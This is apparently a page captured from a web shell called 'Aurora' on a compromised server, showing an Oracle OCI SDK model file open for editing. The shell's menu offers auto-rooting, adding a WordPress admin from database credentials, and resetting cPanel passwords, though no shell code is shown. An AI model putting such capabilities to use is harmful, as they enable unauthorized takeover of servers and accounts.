Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
identity_data_plane
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: identity_provider.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: v1 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class IdentityProvider(object): """ IdentityProvider model. """ #: A constant which can be used with the protocol property of a IdentityProvider. #: This constant has a value of "SAML2" PROTOCOL_SAML2 = "SAML2" def __init__(self, **kwargs): """ Initializes a new IdentityProvider object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param id: The value to assign to the id property of this IdentityProvider. :type id: str :param name: The value to assign to the name property of this IdentityProvider. :type name: str :param tenant_name: The value to assign to the tenant_name property of this IdentityProvider. :type tenant_name: str :param tenant_id: The value to assign to the tenant_id property of this IdentityProvider. :type tenant_id: str :param redirect_uri: The value to assign to the redirect_uri property of this IdentityProvider. :type redirect_uri: str :param signing_certificate: The value to assign to the signing_certificate property of this IdentityProvider. :type signing_certificate: str :param protocol: The value to assign to the protocol property of this IdentityProvider. Allowed values for this property are: "SAML2" :type protocol: str :param service_provider_entity_id: The value to assign to the service_provider_entity_id property of this IdentityProvider. :type service_provider_entity_id: str :param force_authentication: The value to assign to the force_authentication property of this IdentityProvider. :type force_authentication: bool :param authn_context_class_refs: The value to assign to the authn_context_class_refs property of this IdentityProvider. :type authn_context_class_refs: list[str] """ self.swagger_types = { 'id': 'str', 'name': 'str', 'tenant_name': 'str', 'tenant_id': 'str', 'redirect_uri': 'str', 'signing_certificate': 'str', 'protocol': 'str', 'service_provider_entity_id': 'str', 'force_authentication': 'bool', 'authn_context_class_refs': 'list[str]' } self.attribute_map = { 'id': 'id', 'name': 'name', 'tenant_name': 'tenantName', 'tenant_id': 'tenantId', 'redirect_uri': 'redirectUri', 'signing_certificate': 'signingCertificate', 'protocol': 'protocol', 'service_provider_entity_id': 'serviceProviderEntityId', 'force_authentication': 'forceAuthentication', 'authn_context_class_refs': 'authnContextClassRefs' } self._id = None self._name = None self._tenant_name = None self._tenant_id = None self._redirect_uri = None self._signing_certificate = None self._protocol = None self._service_provider_entity_id = None self._force_authentication = None self._authn_context_class_refs = None @property def id(self): """ **[Required]** Gets the id of this IdentityProvider. The id of the provider. :return: The id of this IdentityProvider. :rtype: str """ return self._id @id.setter def id(self, id): """ Sets the id of this IdentityProvider. The id of the provider. :param id: The id of this IdentityProvider. :type: str """ self._id = id @property def name(self): """ **[Required]** Gets the name of this IdentityProvider. The name of the provider. :return: The name of this IdentityProvider. :rtype: str """ return self._name @name.setter def name(self, name): """ Sets the name of this IdentityProvider. The name of the provider. :param name: The name of this IdentityProvider. :type: str """ self._name = name @property def tenant_name(self): """ **[Required]** Gets the tenant_name of this IdentityProvider. The name of the tenant. :return: The tenant_name of this IdentityProvider. :rtype: str """ return self._tenant_name @tenant_name.setter def tenant_name(self, tenant_name): """ Sets the tenant_name of this IdentityProvider. The name of the tenant. :param tenant_name: The tenant_name of this IdentityProvider. :type: str """ self._tenant_name = tenant_name @property def tenant_id(self): """ **[Required]** Gets the tenant_id of this IdentityProvider. The id of the tenant. :return: The tenant_id of this IdentityProvider. :rtype: str """ return self._tenant_id @tenant_id.setter def tenant_id(self, tenant_id): """ Sets the tenant_id of this IdentityProvider. The id of the tenant. :param tenant_id: The tenant_id of this IdentityProvider. :type: str """ self._tenant_id = tenant_id @property def redirect_uri(self): """ **[Required]** Gets the redirect_uri of this IdentityProvider. The SAML endpoint where user will be redirected. :return: The redirect_uri of this IdentityProvider. :rtype: str """ return self._redirect_uri @redirect_uri.setter def redirect_uri(self, redirect_uri): """ Sets the redirect_uri of this IdentityProvider. The SAML endpoint where user will be redirected. :param redirect_uri: The redirect_uri of this IdentityProvider. :type: str """ self._redirect_uri = redirect_uri @property def signing_certificate(self): """ **[Required]** Gets the signing_certificate of this IdentityProvider. The signing certificate of the provider. :return: The signing_certificate of this IdentityProvider. :rtype: str """ return self._signing_certificate @signing_certificate.setter def signing_certificate(self, signing_certificate): """ Sets the signing_certificate of this IdentityProvider. The signing certificate of the provider. :param signing_certificate: The signing_certificate of this IdentityProvider. :type: str """ self._signing_certificate = signing_certificate @property def protocol(self): """ **[Required]** Gets the protocol of this IdentityProvider. The type of the provider. Allowed values for this property are: "SAML2" :return: The protocol of this IdentityProvider. :rtype: str """ return self._protocol @protocol.setter def protocol(self, protocol): """ Sets the protocol of this IdentityProvider. The type of the provider. :param protocol: The protocol of this IdentityProvider. :type: str """ allowed_values = ["SAML2"] if not value_allowed_none_or_none_sentinel(protocol, allowed_values): raise ValueError( f"Invalid value for `protocol`, must be None or one of {allowed_values}" ) self._protocol = protocol @property def service_provider_entity_id(self): """ **[Required]** Gets the service_provider_entity_id of this IdentityProvider. The id of the service provider entity. :return: The service_provider_entity_id of this IdentityProvider. :rtype: str """ return self._service_provider_entity_id @service_provider_entity_id.setter def service_provider_entity_id(self, service_provider_entity_id): """ Sets the service_provider_entity_id of this IdentityProvider. The id of the service provider entity. :param service_provider_entity_id: The service_provider_entity_id of this IdentityProvider. :type: str """ self._service_provider_entity_id = service_provider_entity_id @property def force_authentication(self): """ **[Required]** Gets the force_authentication of this IdentityProvider. Whether to force authentication. :return: The force_authentication of this IdentityProvider. :rtype: bool """ return self._force_authentication @force_authentication.setter def force_authentication(self, force_authentication): """ Sets the force_authentication of this IdentityProvider. Whether to force authentication. :param force_authentication: The force_authentication of this IdentityProvider. :type: bool """ self._force_authentication = force_authentication @property def authn_context_class_refs(self): """ **[Required]** Gets the authn_context_class_refs of this IdentityProvider. Authentication context class refs. :return: The authn_context_class_refs of this IdentityProvider. :rtype: list[str] """ return self._authn_context_class_refs @authn_context_class_refs.setter def authn_context_class_refs(self, authn_context_class_refs): """ Sets the authn_context_class_refs of this IdentityProvider. Authentication context class refs. :param authn_context_class_refs: The authn_context_class_refs of this IdentityProvider. :type: list[str] """ self._authn_context_class_refs = authn_context_class_refs def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other